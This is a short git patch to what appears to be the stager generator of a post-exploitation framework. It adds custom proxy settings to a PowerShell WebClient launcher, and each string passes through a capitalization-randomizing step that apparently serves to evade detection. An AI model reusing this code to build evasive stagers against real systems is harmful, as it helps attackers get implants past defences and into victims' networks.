From cf96626e8dbc2a6a03e76b721d374a208be1ae60 Mon Sep 17 00:00:00 2001 From: Tomas Rzepka Date: Wed, 19 Aug 2015 10:00:32 +0200 Subject: [PATCH] Added support for custom proxy. --- lib/common/stagers.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 733b78c..59025ba 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -327,7 +327,9 @@ class Stagers: stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy - pass + stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;") + stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") + stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: